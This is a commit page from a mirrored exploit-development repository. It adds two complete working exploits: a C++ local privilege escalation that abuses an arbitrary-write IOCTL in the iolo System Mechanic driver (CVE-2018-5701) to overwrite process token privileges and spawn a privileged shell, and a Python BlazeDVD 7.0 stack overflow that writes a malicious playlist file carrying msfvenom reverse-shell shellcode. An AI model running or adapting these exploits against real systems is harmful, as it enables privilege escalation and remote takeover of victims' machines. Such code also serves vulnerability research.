mirror of
https://github.com/VoidSec/Exploit-Development
synced 2026-06-08 12:50:18 +00:00
WKE System Mechanic
This commit is contained in:
+210
@@ -0,0 +1,210 @@
|
||||
/*
|
||||
Exploit title: iolo System Mechanic Pro v. <= 15.5.0.61 - Arbitrary Write Local Privilege Escalation (LPE)
|
||||
Exploit Authors: Federico Lagrasta aka last - https://blog.notso.pro/
|
||||
Paolo Stagno aka VoidSec - voidsec@voidsec.com - https://voidsec.com
|
||||
CVE: CVE-2018-5701
|
||||
Date: 28/03/2021
|
||||
Vendor Homepage: https://www.iolo.com/
|
||||
Download: https://www.iolo.com/products/system-mechanic-ultimate-defense/
|
||||
https://mega.nz/file/xJgz0QYA#zy0ynELGQG8L_VAFKQeTOK3b6hp4dka7QWKWal9Lo6E
|
||||
Version: v.15.5.0.61
|
||||
Tested on: Windows 10 Pro x64 v.1903 Build 18362.30
|
||||
Category: local exploit
|
||||
Platform: windows
|
||||
*/
|
||||
|
||||
#include <iostream>
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
#include <tlhelp32.h>
|
||||
#include <algorithm>
|
||||
|
||||
#define IOCTL_CODE 0x226003 // IOCTL_CODE value, used to reach the vulnerable function (taken from IDA)
|
||||
#define SystemHandleInformation 0x10
|
||||
#define SystemHandleInformationSize 1024 * 1024 * 2
|
||||
|
||||
// define the buffer structure which will be sent to the vulnerable driver
|
||||
typedef struct Exploit
|
||||
{
|
||||
uint32_t Field1_1; // must be 0x8 as this index will be used to calculate the address in a jump table and trigger the vulnerable function
|
||||
uint32_t Field1_2; // "padding" can be anything
|
||||
int *Field2; // must be a pointer that, once dereferenced, cotains 0
|
||||
void *Field3; // points to the adrress that will be overwritten by 0xfffffffe - Arbitrary Write
|
||||
};
|
||||
|
||||
// define a pointer to the native function 'NtQuerySystemInformation'
|
||||
using pNtQuerySystemInformation = NTSTATUS(WINAPI *)(
|
||||
ULONG SystemInformationClass,
|
||||
PVOID SystemInformation,
|
||||
ULONG SystemInformationLength,
|
||||
PULONG ReturnLength);
|
||||
|
||||
// define the SYSTEM_HANDLE_TABLE_ENTRY_INFO structure
|
||||
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
|
||||
{
|
||||
USHORT UniqueProcessId;
|
||||
USHORT CreatorBackTraceIndex;
|
||||
UCHAR ObjectTypeIndex;
|
||||
UCHAR HandleAttributes;
|
||||
USHORT HandleValue;
|
||||
PVOID Object;
|
||||
ULONG GrantedAccess;
|
||||
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
|
||||
|
||||
// define the SYSTEM_HANDLE_INFORMATION structure
|
||||
typedef struct _SYSTEM_HANDLE_INFORMATION
|
||||
{
|
||||
ULONG NumberOfHandles;
|
||||
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
|
||||
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
|
||||
// open a handle to the device exposed by the driver - symlink is \\.\amp
|
||||
HANDLE device = ::CreateFileW(
|
||||
L"\\\\.\\amp",
|
||||
GENERIC_WRITE | GENERIC_READ,
|
||||
NULL,
|
||||
nullptr,
|
||||
OPEN_EXISTING,
|
||||
NULL,
|
||||
NULL);
|
||||
if (device == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
std::cout << "[!] Couldn't open handle to the System Mechanic driver. Error code: " << ::GetLastError() << std::endl;
|
||||
return -1;
|
||||
}
|
||||
std::cout << "[+] Opened a handle to the System Mechanic driver!\n";
|
||||
|
||||
// resolve the address of NtQuerySystemInformation and assign it to a function pointer
|
||||
pNtQuerySystemInformation NtQuerySystemInformation = (pNtQuerySystemInformation)::GetProcAddress(::LoadLibraryW(L"ntdll"), "NtQuerySystemInformation");
|
||||
if (!NtQuerySystemInformation)
|
||||
{
|
||||
std::cout << "[!] Couldn't resolve NtQuerySystemInformation API. Error code: " << ::GetLastError() << std::endl;
|
||||
return -1;
|
||||
}
|
||||
std::cout << "[+] Resolved NtQuerySystemInformation!\n";
|
||||
|
||||
// open the current process token - it will be used to retrieve its kernelspace address later
|
||||
HANDLE currentProcess = ::GetCurrentProcess();
|
||||
HANDLE currentToken = NULL;
|
||||
bool success = ::OpenProcessToken(currentProcess, TOKEN_ALL_ACCESS, ¤tToken);
|
||||
if (!success)
|
||||
{
|
||||
std::cout << "[!] Couldn't open handle to the current process token. Error code: " << ::GetLastError() << std::endl;
|
||||
return -1;
|
||||
}
|
||||
std::cout << "[+] Opened a handle to the current process token!\n";
|
||||
|
||||
// allocate space in the heap for the handle table information which will be filled by the call to 'NtQuerySystemInformation' API
|
||||
PSYSTEM_HANDLE_INFORMATION handleTableInformation = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(::GetProcessHeap(), HEAP_ZERO_MEMORY, SystemHandleInformationSize);
|
||||
|
||||
// call NtQuerySystemInformation and fill the handleTableInformation structure
|
||||
ULONG returnLength = 0;
|
||||
NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, SystemHandleInformationSize, &returnLength);
|
||||
|
||||
uint64_t tokenAddress = 0;
|
||||
// iterate over the system's handle table and look for the handles beloging to our process
|
||||
for (int i = 0; i < handleTableInformation->NumberOfHandles; i++)
|
||||
{
|
||||
SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation->Handles[i];
|
||||
// if it finds our process and the handle matches the current token handle we already opened, print it
|
||||
if (handleInfo.UniqueProcessId == ::GetCurrentProcessId() && handleInfo.HandleValue == (USHORT)currentToken)
|
||||
{
|
||||
tokenAddress = (uint64_t)handleInfo.Object;
|
||||
std::cout << "[+] Current token address in kernelspace is: 0x" << std::hex << tokenAddress << std::endl;
|
||||
}
|
||||
}
|
||||
|
||||
// allocate a variable set to 0
|
||||
int field2 = 0;
|
||||
|
||||
/*
|
||||
dt nt!_SEP_TOKEN_PRIVILEGES
|
||||
+0x000 Present : Uint8B
|
||||
+0x008 Enabled : Uint8B
|
||||
+0x010 EnabledByDefault : Uint8B
|
||||
|
||||
We've added +1 to the offsets to ensure that the low bytes part are 0xff.
|
||||
*/
|
||||
|
||||
// overwrite the _SEP_TOKEN_PRIVILEGES "Present" field in the current process token
|
||||
Exploit exploit =
|
||||
{
|
||||
8,
|
||||
0,
|
||||
&field2,
|
||||
(void *)(tokenAddress + 0x41)};
|
||||
|
||||
// overwrite the _SEP_TOKEN_PRIVILEGES "Enabled" field in the current process token
|
||||
Exploit exploit2 =
|
||||
{
|
||||
8,
|
||||
0,
|
||||
&field2,
|
||||
(void *)(tokenAddress + 0x49)};
|
||||
|
||||
// overwrite the _SEP_TOKEN_PRIVILEGES "EnabledByDefault" field in the current process token
|
||||
Exploit exploit3 =
|
||||
{
|
||||
8,
|
||||
0,
|
||||
&field2,
|
||||
(void *)(tokenAddress + 0x51)};
|
||||
|
||||
DWORD bytesReturned = 0;
|
||||
success = DeviceIoControl(
|
||||
device,
|
||||
IOCTL_CODE,
|
||||
&exploit,
|
||||
sizeof(exploit),
|
||||
nullptr,
|
||||
0,
|
||||
&bytesReturned,
|
||||
nullptr);
|
||||
if (!success)
|
||||
{
|
||||
std::cout << "[!] Couldn't overwrite current token 'Present' field. Error code: " << ::GetLastError() << std::endl;
|
||||
return -1;
|
||||
}
|
||||
std::cout << "[+] Successfully overwritten current token 'Present' field!\n";
|
||||
|
||||
success = DeviceIoControl(
|
||||
device,
|
||||
IOCTL_CODE,
|
||||
&exploit2,
|
||||
sizeof(exploit2),
|
||||
nullptr,
|
||||
0,
|
||||
&bytesReturned,
|
||||
nullptr);
|
||||
if (!success)
|
||||
{
|
||||
std::cout << "[!] Couldn't overwrite current token 'Enabled' field. Error code: " << ::GetLastError() << std::endl;
|
||||
return -1;
|
||||
}
|
||||
std::cout << "[+] Successfully overwritten current token 'Enabled' field!\n";
|
||||
|
||||
success = DeviceIoControl(
|
||||
device,
|
||||
IOCTL_CODE,
|
||||
&exploit3,
|
||||
sizeof(exploit3),
|
||||
nullptr,
|
||||
0,
|
||||
&bytesReturned,
|
||||
nullptr);
|
||||
if (!success)
|
||||
{
|
||||
std::cout << "[!] Couldn't overwrite current token 'EnabledByDefault' field. Error code:" << ::GetLastError() << std::endl;
|
||||
return -1;
|
||||
}
|
||||
std::cout << "[+] Successfully overwritten current token 'EnabledByDefault' field!\n";
|
||||
std::cout << "[+] Token privileges successfully overwritten!\n";
|
||||
std::cout << "[+] Spawning a new shell with full privileges!\n";
|
||||
|
||||
system("cmd.exe");
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,66 @@
|
||||
"""
|
||||
Full title: BlazeDVD 7.0 Professional Local Stack Buffer Overflow
|
||||
Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
|
||||
Vendor Homepage: https://www.softwarezirkel.de/
|
||||
Version: BlazeDVD 7.0 Professional
|
||||
Tested on: Windows XP SP3
|
||||
Category: local exploit
|
||||
Platform: windows
|
||||
"""
|
||||
|
||||
import sys
|
||||
from struct import pack
|
||||
|
||||
# msfvenom --payload windows/shell/reverse_tcp LHOST="10.0.0.1" LPORT=4242 --arch x86 --platform windows --bad-chars '\x00\x0a\x1a' -f python EXITFUNC=seh -v shellcode --smallest
|
||||
# Payload size: 1782 bytes
|
||||
shellcode = b""
|
||||
shellcode += b"\x6a\x4a\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81"
|
||||
shellcode += b"\x73\x13\xb8\x04\x41\xb3\x83\xeb\xfc\xe2\xf4"
|
||||
shellcode += b"\x44\xec\xce\xb3\xb8\x04\x21\x82\x6a\x60\xca"
|
||||
shellcode += b"\xe1\x88\x8f\x13\xbf\x31\xe1\xca\xe1\xac\x8f"
|
||||
shellcode += b"\x33\x9b\xb7\xb3\x0b\x95\x89\xfb\x70\x73\x14"
|
||||
shellcode += b"\x38\x20\xcf\xba\x28\x61\x72\x77\x09\x40\x74"
|
||||
shellcode += b"\xf1\x71\xae\xe1\xef\x8f\x13\xa3\x33\x46\x7d"
|
||||
shellcode += b"\xb2\x68\x8f\x01\xcb\x3d\xc4\x35\xff\xb9\xd4"
|
||||
shellcode += b"\x11\x38\xe0\x24\xca\xfb\xa0\x05\x92\x36\x71"
|
||||
shellcode += b"\x70\x7d\x82\x47\x4d\xca\x87\x33\x05\x97\x82"
|
||||
shellcode += b"\x78\xc5\x8e\xbe\x14\x05\x86\x8b\x58\x71\xb5"
|
||||
shellcode += b"\xb0\xc5\xfc\x7a\xce\x9c\x71\xa1\xeb\x33\x5c"
|
||||
shellcode += b"\x65\xb2\x6b\x62\xca\xbf\xf3\x8f\x19\xaf\xb9"
|
||||
shellcode += b"\xd7\xca\xb7\x33\x05\x91\x3a\xfc\x20\x65\xe8"
|
||||
shellcode += b"\xe3\x65\x18\xe9\xe9\xfb\xa1\xeb\xe7\x5e\xca"
|
||||
shellcode += b"\xa1\x51\x84\xbe\x4c\x47\x59\x29\x80\x8a\x04"
|
||||
shellcode += b"\x41\xdb\xcf\x77\x73\xec\xec\x6c\x0d\xc4\x9e"
|
||||
shellcode += b"\x03\xc8\x5b\x47\xd4\xf9\x23\xb9\x04\x41\x9a"
|
||||
shellcode += b"\x7c\x50\x11\xdb\x91\x84\x2a\xb3\x47\xd1\x2b"
|
||||
shellcode += b"\xb9\xd0\x0e\x41\xb3\xb9\x6c\x43\xb3\xa8\x96"
|
||||
shellcode += b"\xc8\x55\xe8\x54\x11\xe3\xf8\x54\x01\xe3\xd0"
|
||||
shellcode += b"\xee\x4e\x6c\x58\xfb\x94\x24\xd2\x14\x17\xe4"
|
||||
shellcode += b"\xd0\x9d\xe4\xc7\xd9\xfb\x94\x36\x78\x70\x4d"
|
||||
shellcode += b"\x4c\xf6\x0c\x34\x5f\xd0\xf4\xf4\x11\xee\xfb"
|
||||
shellcode += b"\x94\xd9\xb8\x6e\x45\xe5\xef\x6c\x43\x6a\x70"
|
||||
shellcode += b"\x5b\xbe\x66\x33\x32\x2b\xf3\xd0\x04\x51\xb3"
|
||||
shellcode += b"\xb8\x52\x2b\xb3\xd0\x5c\xe5\xe0\x5d\xfb\x94"
|
||||
shellcode += b"\x20\xeb\x6e\x41\xe5\xeb\x53\x29\xb1\x61\xcc"
|
||||
shellcode += b"\x1e\x4c\x6d\x05\x82\x9a\x7e\x71\xaf\x70"
|
||||
|
||||
def main():
|
||||
filename = "poc.plf"
|
||||
|
||||
buf = "A" * 260 # junk
|
||||
buf+= pack("<L",0x6401cc65) # return address - push esp # ret [MediaPlayerCtrl.dll]
|
||||
buf+= "C" * 16 # junk
|
||||
buf+= "\x90" * 20 # nop sled
|
||||
buf+= shellcode # shellcode
|
||||
buf+= "D" * (2000 - len(buf)) # junk
|
||||
|
||||
f = open(filename, 'wb')
|
||||
f.write(buf)
|
||||
f.close()
|
||||
print "[+] %s file created!" % filename
|
||||
|
||||
return
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user